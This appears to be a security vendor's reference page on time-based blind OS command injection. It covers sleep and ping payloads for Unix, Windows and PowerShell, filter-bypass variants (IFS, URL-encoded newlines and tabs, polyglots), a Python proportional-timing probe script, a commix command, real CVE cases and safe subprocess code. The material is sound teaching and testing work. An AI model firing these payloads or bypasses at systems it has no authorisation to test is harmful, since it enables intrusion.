Injects sleep or ping commands to cause measurable delays, confirming command execution without visible output in the response.
TL;DR
sleep 7 then sleep 14 — confirm only when both scale proportionallysleep N, Windows uses ping -n N 127.0.0.1, PowerShell uses Start-SleepTime-based blind command injection is the technique of confirming OS command execution by measuring the response latency induced by an injected sleep or ping command. The application executes the command — the injected sleep fires, causing the server-side process to pause — but returns no output in the HTTP response. The attacker's only signal is the time elapsed between sending the request and receiving the response.
This is a specialization of blind command injection. Both share the same root cause (CWE-78 — unsanitized input reaches a shell execution function), but time-based blind uses the response delay as the confirmation channel rather than file writes or OOB DNS callbacks. It is the most infrastructure-independent confirmation method: it requires no external server, no writable web path, and no DNS resolution — just the ability to measure HTTP response time.
The technique's limitation is susceptibility to false positives from server load, network jitter, and CDN response-buffering behavior. The proportional validation protocol described in this page eliminates these false positives through differential measurement rather than absolute threshold comparison.
The server receives a command string containing an injected sleep. The shell executes both the legitimate command and the injected sleep sequentially. The HTTP response is only sent after the shell process terminates — which now takes N additional seconds. The attacker measures this induced latency.
The five-step process:
# Basic sleep — most reliable on bash/sh/dash/zsh
; sleep 7
& sleep 7 &
| sleep 7
$(sleep 7)
`sleep 7`
%0a sleep 7
# IFS-based space bypass (bypasses filters blocking space in payload)
;${IFS}sleep${IFS}7
;$IFS sleep$IFS 7
# Ping alternative — works when sleep binary is blocked
; ping -c 7 127.0.0.1
# URL-encoded newline separator (bypasses ; | & filters)
%0a%09sleep%097 # tab-separated (0x09 = tab)
# Proportional validation — send in sequence
; sleep 7 # T1 measurement
; sleep 14 # T2 measurement: if T2 ≈ 2×T1, injection confirmedREM ping -n sends N ICMP packets, ~1 second each
& ping -n 7 127.0.0.1 &
REM timeout — waits N seconds (requires console context)
| timeout /T 7 /NOBREAK
REM choice — auto-selects after N seconds
& choice /C YN /T 7 /D Y &
REM Proportional validation on Windows
& ping -n 7 127.0.0.1 & REM T1: ~7s
& ping -n 14 127.0.0.1 & REM T2: ~14s; Start-Sleep -Seconds 7
; Start-Sleep 7
; [System.Threading.Thread]::Sleep(7000)
; ping -n 7 127.0.0.1# Works on both Unix (sleep) and Windows (ping), whichever shell is active
&(ping -n 11 127.0.0.1||ping -c 11 127.0.0.1)&
# Time-based polyglot across multiple injection contexts (unquoted, single-quoted, double-quoted)
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}Proportional validation is the critical differentiator between reliable and unreliable time-based detection. A single timing delta is ambiguous. Two deltas that scale proportionally with the injected N are not.
import statistics, time, requests
def baseline(url, param, safe_value, n=3):
"""Establish median baseline latency over n clean requests."""
times = []
for _ in range(n):
t0 = time.monotonic()
requests.get(url, params={param: safe_value}, timeout=60)
times.append(time.monotonic() - t0)
return statistics.median(times)
def time_based_confirm(url, param, base_payload, T_baseline):
"""Proportional validation: N=7 then N=14."""
# Sleep 7
t0 = time.monotonic()
requests.get(url, params={param: f"{base_payload}; sleep 7"}, timeout=30)
D1 = time.monotonic() - t0 - T_baseline
# Sleep 14
t0 = time.monotonic()
requests.get(url, params={param: f"{base_payload}; sleep 14"}, timeout=40)
D2 = time.monotonic() - t0 - T_baseline
# Proportional check — both deltas must scale
condition_A = D1 >= 5.5 # sleep 7 with 1.5s margin
condition_B = D2 >= 12.5 # sleep 14 with 1.5s margin
condition_C = (D2 - D1) >= 5.5 # additional 7s between measurements
if condition_A and condition_B and condition_C:
return "CONFIRMED", D1, D2
elif condition_A:
return "POTENTIAL", D1, D2
else:
return "NOT_DETECTED", D1, D2Interpretation table:
| D1 (sleep 7) | D2 (sleep 14) | Verdict |
|---|---|---|
| ≥ 5.5s | ≥ 12.5s AND D2-D1 ≥ 5.5s | CONFIRMED |
| ≥ 5.5s | < 12.5s | POTENTIAL (server jitter suspected) |
| < 5.5s | Any | NOT DETECTED |
| Exactly 30s | — | CDN TIMEOUT (not injection) |
| Source | Signature | Mitigation |
|---|---|---|
| High-latency server (baseline > 5s) | D1 and D2 both inflated | Use proportional check D2-D1, not absolute D1 |
| CDN timeout (30s or 60s cap) | Response arrives at exactly 30s | Detect via exact value; switch to OOB |
| Server load spike | D1 elevated but D2 not 2×D1 | Proportional validation (D2-D1 ≥ 5.5s) |
| Rate limiting (429) | HTTP 429 status code with delay | Check status code before interpreting timing |
| Network jitter | Single spike, no consistency | Use 3-probe baseline, require proportional D2 |
| Response buffering | CDN buffers response until sleep ends | Switch to OOB DNS (bypasses CDN) |
CVE-2024-21887 — Ivanti Connect Secure (CVSS 9.1)
The command injection in Ivanti Connect Secure's /api/v1/license/key-status/<node_name> endpoint was confirmed via time-based techniques during initial discovery before OOB infrastructure was established. The injection was chained with CVE-2023-46805 (authentication bypass) to achieve pre-auth RCE. Nation-state actors used time-based confirmation to verify execution on thousands of VPN gateway targets before deploying persistent malware implants.
CVE-2024-3400 — PAN-OS GlobalProtect (CVSS 10.0)
Initial PoC verification of CVE-2024-3400 used time-based blind testing to confirm that the SESSID cookie manipulation triggered server-side execution. A sleep payload injected in the session identifier caused measurable delays in the GlobalProtect portal response, confirming the execution path before OOB and reverse shell payloads were developed. Volexity and Unit 42 attributed exploitation to UTA0218.
CVE-2022-46169 — Cacti (CVSS 9.8)
Cacti's poller endpoint was tested with time-based payloads via the X-Forwarded-For header. Injecting 127.0.0.1; sleep 7 into the X-Forwarded-For header produced a 7-second delay in responses from /remote_agent.php, confirming the injection vector before exploit chains were published. Public exploits were released within 48 hours of disclosure, leading to widespread botnet infections.
Establish a baseline: send the request 3 times with a known-safe value and record median response time T0.
Inject the sleep payload with the lowest-noise separator first:
; sleep 7
%0a sleep 7
$(sleep 7)If D1 = (response time) - T0 ≥ 5.5 seconds, proceed to proportional validation:
; sleep 14Confirm only when D2 - T0 ≥ 12.5s AND D2 - D1 ≥ 5.5s.
If the response arrives at exactly 30s, 60s, or another round number matching a CDN timeout, discard the result and switch to OOB.
Test all shell families:
# Unix
; sleep 7
# Windows
& ping -n 7 127.0.0.1 &
# PowerShell
; Start-Sleep -Seconds 7Test with bypass variants when the basic payload fails:
;${IFS}sleep${IFS}7
; ping -c 7 127.0.0.1
%0a%09sleep%097Commix time-based mode:
commix --url "http://target.com/ping?host=*" --batch --smart \
--technique=T --level=3 --failed-tries=3Burp Suite Pro active scanner performs time-based detection automatically with multiple payload variants and statistical analysis of response times.
BreachVex confirms time-based injection using proportional validation across multiple sleep magnitudes against a median latency baseline, with automatic fallback to out-of-band detection when CDN timeout signatures are detected (responses at exactly 30s, 60s, or 120s).
Time-based injection exploits the same root cause as all OS command injection variants. The prevention is not specific to timing — it is the elimination of shell invocation.
# VULNERABLE — shell=True allows sleep injection
import subprocess
def check_host(host):
result = subprocess.run(
f"ping -c 1 {host}",
shell=True,
capture_output=True,
timeout=5 # timeout does NOT prevent injection — just limits your wait
)
return result.returncode == 0
# SAFE — array form, no shell invoked
import re
def check_host_safe(host):
if not re.fullmatch(r'^\d{1,3}(\.\d{1,3}){3}$', host):
raise ValueError("Invalid IP")
result = subprocess.run(
["ping", "-c", "1", host],
capture_output=True,
timeout=5
)
return result.returncode == 0Setting a timeout=5 on a subprocess call does NOT prevent time-based injection from being confirmed by the attacker. The timeout limits how long your application waits for the command to complete, but the injected sleep has already caused the measurable delay before the timeout cancels it. Injection exists regardless of your subprocess timeout.
// Node.js — VULNERABLE, shell:true allows timing attacks
const { spawn } = require('child_process');
spawn('ping', ['-c', '1', host], { shell: true });
// SAFE — shell:false (default), args are not interpreted
spawn('ping', ['-c', '1', host], { shell: false });
spawn('ping', ['-c', '1', host]); // shell:false is defaultSleep 7 provides a sufficient delta above typical network latency (1–3s) while keeping test duration reasonable. The key is proportional validation, not the specific value. Inject sleep 7 first (expect ~7s), then sleep 14 (expect ~14s). If both scale proportionally to the injected N, injection is confirmed. A single spike at 10 seconds is ambiguous — it could be server load or a CDN timeout.
Proportional validation uses two measurements to distinguish real injection from false positives. Inject sleep N=7: if delta D1 ≥ 5.5s, injection is plausible. Inject sleep N=14: if delta D2 ≥ 12.5s AND D2 - D1 ≥ 5.5s, injection is confirmed. A server slowdown or CDN timeout that caused D1 to be 7s will not proportionally cause D2 to be 14s — random spikes don't double predictably.
Send the same request 3 times with a safe, benign parameter value. Record the response time for each. Use the median — not the mean — as the baseline T0. The median is more robust to individual network spikes. Subtract T0 from all subsequent measurement deltas to isolate the injection-induced delay from ambient latency.
On Windows cmd.exe: ping -n 7 127.0.0.1 (sends 7 ICMP packets, each ~1 second apart), timeout /T 7 /NOBREAK (waits 7 seconds), or choice /C YN /T 7 /D Y (prompt timeout). PowerShell uses Start-Sleep -Seconds 7. The ping method is most reliable because it works across all Windows versions and does not require interactive mode.
Common false positives: (1) High server load that slows all responses, not just injected ones — baseline handles this. (2) CDN timeouts that cap responses at 30s — if the response arrives at exactly 30s, it is a CDN timeout, not injection. (3) Rate limiting returning 429 after a delay — check the status code. (4) Network jitter — a single spike without proportional scaling. The N=7/N=14 proportional protocol suppresses all four.
CDNs that buffer responses flatten time deltas, making time-based injection unreliable. A CDN with a 30-second timeout will terminate the connection before a sleep 60 payload returns, and a 7-second sleep may be absorbed into connection setup variation. When CDN is detected (Cloudflare, Akamai, Fastly headers), switch to OOB DNS callbacks — DNS queries bypass CDN infrastructure entirely.
Unix shells (bash, sh, dash, zsh): sleep N and ping -c N 127.0.0.1 both work. Windows cmd.exe: ping -n N 127.0.0.1, timeout /T N /NOBREAK. PowerShell: Start-Sleep -Seconds N or ping -n N 127.0.0.1. The polyglot &(ping -n 11 127.0.0.1||ping -c 11 127.0.0.1)& works cross-platform — the OR logic ensures only the correct shell's ping runs.
Wait N+10 seconds for confirmation (sleep 7 = wait 17s total before concluding negative). Account for network round-trip time and server processing. If the response returns at exactly 30s or 60s, suspect a CDN or proxy timeout, not injection. If the response returns at T_baseline + epsilon, injection did not trigger a sleep. Repeat with a different separator or switch to OOB.
;${IFS}sleep${IFS}7 replaces spaces with the Internal Field Separator variable, which expands to whitespace. This bypasses WAF rules that block literal space characters in injection payloads while preserving the shell's ability to parse the command. Works in bash, sh, zsh, dash. The equivalent without IFS: ;sleep${IFS}7 or using URL-encoded tab %09.
Commix's time-based technique (--technique=T) performs proportional timing validation automatically. It sends multiple probes at different N values and uses statistical analysis to distinguish injection from server latency variation. The --smart flag skips parameters where initial probes show no timing difference, reducing false positives. Add --level=3 for header injection testing.
Switch to OOB when: baseline latency is above 3 seconds (too close to the sleep delta), the application is behind a CDN (responses buffered), the server is under variable load (inconsistent timing), or after two proportional validation attempts with ambiguous results. OOB is always more reliable than time-based. If OOB infrastructure is unavailable, escalate to manual file-write confirmation instead.